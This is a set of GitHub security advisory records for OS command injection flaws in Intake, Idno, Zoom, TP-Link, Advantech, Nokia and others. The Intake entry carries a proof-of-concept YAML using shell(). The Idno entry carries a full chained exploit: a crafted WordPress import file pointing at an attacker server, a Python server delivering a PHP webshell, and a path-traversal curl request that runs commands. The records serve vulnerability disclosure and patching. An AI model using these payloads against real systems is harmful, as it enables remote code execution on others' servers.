CWE-78

{
  "affected": [],
  "aliases": [
    "CVE-2021-4281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-26T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability was found in Brave UX for-the-badge and classified as critical. Affected by this issue is some unknown functionality of the file .github/workflows/combine-prs.yml. The manipulation leads to os command injection. The name of the patch is 55b5a234c0fab935df5fb08365bc8fe9c37cf46b. It is recommended to apply a patch to fix this issue. VDB-216842 is the identifier assigned to this vulnerability.",
  "id": "GHSA-3796-3f93-cfvx",
  "modified": "2023-01-05T18:30:30Z",
  "published": "2022-12-26T21:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BraveUX/for-the-badge/pull/165"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BraveUX/for-the-badge/commit/55b5a234c0fab935df5fb08365bc8fe9c37cf46b"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.216842"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.216842"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "intake"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:46:54Z",
    "nvd_published_at": "2026-03-24T14:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.\nIf a catalog contains a parameter default such as shell(\u003ccommand\u003e), the command may be executed when the catalog source is accessed.\nThis means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.\nThis behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.\n\n### Details\nThe issue appears to originate from how parameter default values are expanded when a catalog source is accessed.\n\nDuring catalog loading and source access:\n\nIntake resolves parameter default values\nThe function responsible for expanding defaults processes the shell() syntax\nThe shell expression triggers a subprocess execution\nBecause this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.\n\nAffected logic appears to involve:\n```\nexpand_defaults()\n```\nand related parameter parsing mechanisms.\n\n\n### PoC\nexploit.yaml\n```\nmetadata:\n  version: 1\nsources:\n  rce_test:\n    driver: csv\n    description: \"Testing shell expansion in parameters\"\n    args:\n      urlpath: \"{{ cmd_exec }}\"\n    parameters:\n      cmd_exec:\n        display_name: \"Test Parameter\"\n        type: str\n        default: \"shell(touch /tmp/intake_rce_test)\"\n```\n\nreproduce.py\n```\nimport intake\nimport os\n\nPROOF_FILE = \"/tmp/intake_rce_test\"\n\nif os.path.exists(PROOF_FILE):\n    os.remove(PROOF_FILE)\n\nprint(f\"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}\")\n\ntry:\n    cat = intake.open_catalog(\"exploit.yaml\")\n\n    print(\"Accessing source...\")\n    _ = cat[\"rce_test\"]\n\nexcept Exception as e:\n    print(f\" Error during execution: {e}\")\n\nif os.path.exists(PROOF_FILE):\n    print(f\" Command execution confirmed, Found: {PROOF_FILE}\")\nelse:\n    print(\"Command execution did not occur.\")\n```\n### Attack Scenario\nA potential attack scenario could be:\n\n1. An attacker publishes a malicious Intake catalog YAML file\n2. The victim downloads or loads the catalog\n3. The victim accesses a source entry in the catalog\n4. Parameter defaults are expanded\n5. The shell() expression triggers execution of the embedded command\n\n### Impact\n\nIf this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:\n\n- Git repositories\n- shared datasets\n- URLs\n- data science workflows\n- Any user loading the catalog could unknowingly execute commands with their local user privileges.\n\n### Recommendation\nPossible mitigations could include:\n\n- disabling shell() expansion by default\n- requiring an explicit opt-in flag (e.g., allow_shell=True)\n- restricting shell execution for catalogs loaded from untrusted sources\nPlease let me know if additional information or testing is needed.\nI\u0027m happy to assist with further analysis or validation.",
  "id": "GHSA-37g4-qqqv-7m99",
  "modified": "2026-03-25T20:52:29Z",
  "published": "2026-03-19T17:46:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/intake/intake/security/advisories/GHSA-37g4-qqqv-7m99"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33310"
    },
    {
      "type": "WEB",
      "url": "https://github.com/intake/intake/commit/d0c0b6b57c1cb3f73880655ded4a9b0e18e1fd1b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/intake/intake"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Intake has a Command Injection via shell() Expansion in Parameter Defaults"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "idno/known"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T21:26:24Z",
    "nvd_published_at": "2026-03-06T05:16:32Z",
    "severity": "HIGH"
  },
  "details": "**Affected Versions:** Tested on current `dev` branch (build fingerprint `505[...]7bd86`)  \n**CVSS v4 Score:** 8.6 ([CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N))\n**Privileges Required:** Web application admin account (for file write), any authenticated user (for RCE trigger)\n\n---\n\n## Summary\n\nTwo separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server\u0027s temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.\n\n---\n\n## Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)\n\n### Location\n\n`Idno/Core/Migration.php` \u2014 `importImagesFromBodyHTML()`\n\n### Required Privilege\n\nWeb application admin (any user with the `admin` flag set in the database, accessible via the Idno admin UI).\n\n### Description\n\nWhen a web application admin imports a WordPress eXtended RSS (WXR) XML file via `POST /admin/import/`, the application processes `\u003cimg\u003e` tags in post body content and attempts to re-host images locally. The function`importImagesFromBodyHTML()` fetches each image URL using `fopen()` and writes the response body to a temp file whose name is derived from the URL.\n\nThe filename is constructed as:\n\n```php\n$name = md5($src);\n$newname = $dir . $name . basename($src);\n```\n\nWhere `$src` is the full image URL from the XML and `basename($src)` is the filename component of that URL. Because `basename()` is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make `basename()` return any filename \u2014 including one ending in `.tpl.php`.\n\nThe URL filter is:\n\n```php\nif (substr_count($src, $src_url)) {\n```\n\nWhere `$src_url` is the hardcoded string `\u0027wordpress.com\u0027`. This check uses `substr_count` rather than comparing the URL\u0027s hostname, so it passes for any URL that contains the string `wordpress.com` anywhere \u2014 including in a path component such as `http://attacker.com/wordpress.com/shell.tpl.php`.\n\nThe file write itself is:\n\n```php\nif (@file_put_contents($newname, fopen($src, \u0027r\u0027))) {\n```\n\n`fopen($src, \u0027r\u0027)` opens the attacker URL as a stream. `file_put_contents` reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload \u2014 causing `file_put_contents` to block while the file sits on disk with its full content. The file is only deleted after `file_put_contents` returns:\n\n```php\nif ($file = File::createFromFile($newname, basename($src), $mime, true)) {\n    $newsrc = ...;\n    @unlink($newname);  // only runs after file_put_contents returns\n}\n```\n\nBy holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.\n\nThe import endpoint itself adds an additional timing buffer:\n\n```php\n// Idno/Pages/Admin/Import.php\nsession_write_close();\n$this-\u003eforward(...);      // HTTP response sent to browser here\nignore_user_abort(true);\nsleep(10);                // 10 second delay before import runs\nset_time_limit(0);\nMigration::importWordPressXML($xml);\n```\n\nThe browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.\n\nThe resulting file is written to PHP\u0027s temp directory (typically `/tmp` from the PHP process\u0027s perspective, which on systemd-managed Apache is a private mount at `/tmp/systemd-private-{id}-apache2.service-{id}/tmp/`). The filename is predictable: `md5($full_url) . basename($url)`.\n\n### Prerequisites\n\n- Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)\n- `allow_url_fopen` must be enabled in PHP (required for `fopen($url, \u0027r\u0027)` on remote URLs \u2014 this is the PHP default)\n\n---\n\n## Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI \u2192 RCE)\n\n### Location\n\n`Idno/Pages/Search/User.php` \u2014 `getContent()`\n`Idno/Core/Bonita/Templates.php` \u2014 `draw()`\n\n### Required Privilege\n\nAny authenticated user (`gatekeeper()` only checks `isLoggedIn()`).\n\n### Description\n\nThe user search endpoint accepts a `template` GET parameter that is passed without sanitization to the template rendering engine:\n\n```php\n// Idno/Pages/Search/User.php\n$template = $this-\u003egetInput(\u0027template\u0027, \u0027forms/components/usersearch/user\u0027);\n// ...\n$t = new \\Idno\\Core\\DefaultTemplate();\n$results[\u0027rendered\u0027] .= $t-\u003e__([\u0027user\u0027 =\u003e $user])-\u003edraw($template);\n```\n\nThe `draw()` method in `Idno/Core/Bonita/Templates.php` applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:\n\n```php\nfunction draw($templateName, $returnBlank = true)\n{\n    $templateName = preg_replace(\u0027/^_[A-Z0-9\\/]+/i\u0027, \u0027\u0027, $templateName);\n```\n\nThis regex does not strip `../` and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:\n\n```php\n$path = $basepath . \u0027/templates/\u0027 . $templateType . \u0027/\u0027 . $templateName . \u0027.tpl.php\u0027;\nif (file_exists($path)) {\n    $fn = (function ($path, $vars, $t) {\n        foreach ($vars as $k =\u003e $v) { ${$k} = $v; }\n        ob_start();\n        include $path;\n        return ob_get_clean();\n    });\n    return $fn($path, $this-\u003evars, $this);\n}\n```\n\nBecause `$templateName` is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as `../../../../../../tmp/{filename}` to include any file reachable by the PHP process that has a `.tpl.php` extension.\n\n### Template Type Behaviour\n\nThe `new DefaultTemplate()` constructor calls `detectTemplateType()`, which calls `detectDevice()` based on the `User-Agent` header. For standard desktop browsers this returns `\u0027default\u0027`. The `_t` query parameter, intended to override the template type, sets the type on the global site template object \u2014 not on the locally constructed `$t` instance \u2014 and therefore has no effect on the include path used here. The template type component of the path is always `\u0027default\u0027` for this endpoint under normal conditions.\n\nThe full resolved include path for a desktop browser with `basepath = /var/www/html/idno` is therefore:\n\n```\n/var/www/html/idno/templates/default/{template}.tpl.php\n```\n\nSupplying `template=../../../../../../tmp/{filename}` resolves to:\n\n```\n/tmp/{filename}.tpl.php\n```\n\nBecause PHP\u0027s `$_GET` superglobal is accessible from all scopes including inside `include`d files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.\n\n---\n\n## Chained Attack Flow\n\n1. **Attacker controls a web server** serving a PHP webshell file at a URL containing `wordpress.com` in the path, with filename ending in `.tpl.php`.\n\n2. **Attacker constructs a WordPress WXR XML** with an `\u003cimg\u003e` tag whose `src` points to this URL.\n\n3. **Admin submits the XML** to `POST /admin/import/` with `import_type=WordPress`. The application responds immediately and runs the import in the background after 10 seconds.\n\n4. **`importImagesFromBodyHTML` is called.** The URL passes the `substr_count($src, \u0027wordpress.com\u0027)` check. `fopen($src, \u0027r\u0027)` connects to the attacker\u0027s server, which sends the PHP payload and holds the connection open.\n\n5. **`file_put_contents` writes the PHP payload to disk** at `/tmp/{md5(url)}{basename(url)}` (e.g. `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`) and blocks waiting for the stream to close.\n\n6. **While the connection is held open**, any authenticated user sends:\n\n   ```\n   GET /search/users/?query=a\u0026limit=1\u0026template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell\u0026cmd=id\n   ```\n\n7. **`draw()` resolves the path** to `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`, finds the file exists, and `include`s it.\n\n8. **The included PHP file executes**, reads `$_GET[\u0027cmd\u0027]` from the superglobal, and passes it to `system()`. Output is captured by `ob_get_clean()` and returned in the `rendered` field of the JSON response.\n\n9. **Attacker closes the connection.** `file_put_contents` returns, `createFromFile` runs, `@unlink` removes the temp file. No persistent artifact remains.\n\n---\n\n## Proof of Concept\n\n1. Create a WXR file with the following content\n```xml\n\u003crss version=\"2.0\"\n    xmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n    xmlns:wp=\"http://wordpress.org/export/1.2/\"\u003e\n    \u003cchannel\u003e\n      \u003citem\u003e\n        \u003ctitle\u003eTest Post\u003c/title\u003e\n        \u003cwp:post_type\u003epost\u003c/wp:post_type\u003e\n        \u003cwp:status\u003epublish\u003c/wp:status\u003e\n        \u003ccontent:encoded\u003e\u003c![CDATA[\u003cimg\n  src=\"http://attacker-server-address/wordpress.com/shell.tpl.php\"\u003e]]\u003e\u003c/content:encoded\u003e\n      \u003c/item\u003e\n    \u003c/channel\u003e\n\u003c/rss\u003e\n```\n2. Run a server at `attacker-server-address` and host the file in path `wordpress.com/shell.tpl.php` such that fetching `http://attacker-server-address/wordpress.com/shell.tpl.php` sends the command execution payload. \n\n```python\nimport http.server\nimport time\n\nPAYLOAD = b\u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n        self.wfile.flush()\n        print(f\"[*] Payload sent. Holding connection open...\")\n        time.sleep(45)  # hold connection open for 45s\n        print(f\"[*] Connection released\")\n\n    def log_message(self, fmt, *args):\n        print(fmt % args)\n\n\nhttp.server.HTTPServer((\"0.0.0.0\", 9876), Handler).serve_forever()\n```\n\n5. Import WXR from `http://idno-address/admin/import/` using the wordpress option.\n\n6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.\n\n7. Compute the md5 hash of payload URL `http://attacker-server-address/wordpress.com/shell.tpl.php`. In my example this is `594ac6416712b71b978fa4659c4298c3`. This means the webshell file is `594ac6416712b71b978fa4659c4298c3shell.tpl.php` with content \n```php\n\u003c?php system($_GET[0]); ?\u003e\n```\n\n8. Make this request as any authenticated user\n```\ncurl -k \\\n  -b \"idno=\u003ccookie\u003e\" \\\n  \"http://idno-address/search/users/?query=a\u0026limit=1\u0026template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell\u0026_t=rss\u0026cmd=id\"\n\n```\n\n9. Observe that the respone will have the command executed in the `rendered` field\n```\n{\"count\":1,\"rendered\":\"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\\n\"}\n```\n\n\nhttps://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4\n\n\n\n---\n\n## Impact\n\n- **Confidentiality:** Full read access to files accessible by the web server user\n- **Integrity:** Arbitrary command execution as the web server user\n- **Availability:** Complete compromise of the host running Idno\n\nAn attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.\n\n---\n\n## Root Causes\n\n| Location | Issue |\n|---|---|\n| `Migration.php:importImagesFromBodyHTML` | `basename($url)` used as filename with no extension restriction |\n| `Migration.php:importImagesFromBodyHTML` | `substr_count` hostname check trivially bypassed by embedding `wordpress.com` in URL path |\n| `Migration.php:importImagesFromBodyHTML` | Outbound `fopen()` to attacker-controlled URL with no SSRF mitigation |\n| `Pages/Search/User.php` | `template` parameter passed to `draw()` without sanitization |\n| `Core/Bonita/Templates.php:draw()` | Regex strips only `^_[A-Z0-9/]+` prefix \u2014 does not restrict `../` or path separators |\n\n---\n\n## Recommended Fixes\n\n1. **Restrict allowed template name characters** in `draw()` to an allowlist such as `^[a-z0-9/_-]+$`, rejecting any name containing `..` or beginning with `/`.\n\n2. **Validate the extension of files written by `importImagesFromBodyHTML`** against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.\n\n3. **Validate the hostname of image URLs** in `importImagesFromBodyHTML` against the source domain rather than using `substr_count`, which does not distinguish hostname from path.\n\n4. **Use `tempnam()`** for temp files in the import flow rather than constructing filenames from user-controlled URL components.",
  "id": "GHSA-37j7-56xc-c468",
  "modified": "2026-03-06T15:16:10Z",
  "published": "2026-03-02T21:26:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/idno/idno/security/advisories/GHSA-37j7-56xc-c468"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/idno/idno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/idno/idno/releases/tag/1.6.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Idno Vulnerable to Remote Code Execution via Chained Import File Write and Template Path Traversal"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-34116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-11T17:15:13Z",
    "severity": "HIGH"
  },
  "details": "Improper input validation in the Zoom Desktop Client for Windows before version 5.15.0 may allow an unauthorized user to enable an escalation of privilege via network access.\n",
  "id": "GHSA-37jr-8vrf-hwhp",
  "modified": "2024-04-04T05:57:04Z",
  "published": "2023-07-11T18:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34116"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-48602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-09T19:15:14Z",
    "severity": "HIGH"
  },
  "details": "A SQL injection vulnerability exists in the \u201cmessage viewer print\u201d feature of the ScienceLogic SL1 that takes unsanitized user?controlled input and passes it directly to a SQL query. This allows for the injection of arbitrary SQL before being executed against the database.",
  "id": "GHSA-37m9-g2hc-mjp2",
  "modified": "2024-04-04T06:45:30Z",
  "published": "2023-08-09T21:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48602"
    },
    {
      "type": "WEB",
      "url": "https://www.securifera.com/advisories/cve-2022-48602"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-38471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-04T01:15:02Z",
    "severity": "MODERATE"
  },
  "details": "Multiple TP-LINK products allow a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by restoring a crafted backup file. The affected device, with the initial configuration, allows login only from the LAN port or Wi-Fi.",
  "id": "GHSA-37mw-xfjf-m6pf",
  "modified": "2024-07-08T15:31:55Z",
  "published": "2024-07-04T03:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38471"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU99784493"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/jp/support/download"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/jp/support/download/archer-air-r5/v1/#Firmware"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/jp/support/download/archer-ax3000/#Firmware"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/jp/support/download/archer-ax5400/#Firmware"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/jp/support/download/archer-axe5400/#Firmware"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/jp/support/download/archer-axe75/#Firmware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-9377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-29T18:15:43Z",
    "severity": "HIGH"
  },
  "details": "The authenticated remote command execution (RCE) vulnerability exists  in the Parental Control page\u00a0on\u00a0TP-Link Archer C7(EU) V2 and TL-WR841N/ND(MS) V9.\n\nThis issue affects Archer C7(EU) V2: before 241108 and\u00a0TL-WR841N/ND(MS) V9: before 241108.\n\nBoth products have reached the status of EOL (end-of-life).\nIt\u0027s recommending to \n\npurchase the new \nproduct to ensure better performance and security. If replacement is not\n an option in the short term, please use the second reference link to \ndownload and install the patch(es).",
  "id": "GHSA-37mx-8m3f-j8vm",
  "modified": "2025-10-22T00:33:20Z",
  "published": "2025-08-29T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9377"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-9377"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/us/support/faq/4308"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/us/support/faq/4365"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-50370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-26T11:22:05Z",
    "severity": "CRITICAL"
  },
  "details": "A CWE-78 \"Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)\" was discovered affecting the following devices manufactured by Advantech: EKI-6333AC-2G (\u003c= 1.6.3), EKI-6333AC-2GD (\u003c= v1.6.3) and EKI-6333AC-1GPO (\u003c= v1.2.1). The vulnerability can be exploited by remote unauthenticated users capable of interacting with the default \"edgserver\" service enabled on the access point and malicious commands are executed with root privileges. No authentication is enabled on the service and the source of the vulnerability resides in processing code associated to the \"cfg_cmd_set_eth_conf\" operation.",
  "id": "GHSA-37p2-jq47-hjhr",
  "modified": "2024-11-26T12:41:37Z",
  "published": "2024-11-26T12:41:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50370"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2024-50370"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-5505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-14T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Freelancy v1.0.0 allows remote command execution via the \"file\":\"data:application/x-php;base64 substring (in conjunction with \"type\":\"application/x-php\"} to the /api/files/ URI.",
  "id": "GHSA-37p6-33w6-w9gq",
  "modified": "2024-04-04T02:46:29Z",
  "published": "2022-05-24T17:06:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5505"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/155922/Freelancy-1.0.0-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-39815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In NOKIA 1350 OMS R14.2, multiple OS Command Injection vulnerabilities occur in /CGI-BIN/OTNE_1-14/runBatch.cgi via the file HTTP POST parameter, /CGI-BIN/OTNE_1-14/getRadioTLs.cgi via the context HTTP POST parameter, /CGI-BIN/OTNE_1-14/runRouteReport.cgi via the file HTTP POST parameter or /CGI-BIN/RemoteCommandManager.cgi via the command HTTP POST parameter.",
  "id": "GHSA-37p6-x4xg-m25g",
  "modified": "2022-09-17T00:00:31Z",
  "published": "2022-09-14T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39815"
    },
    {
      "type": "WEB",
      "url": "https://www.gruppotim.it/it/footer/red-team.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}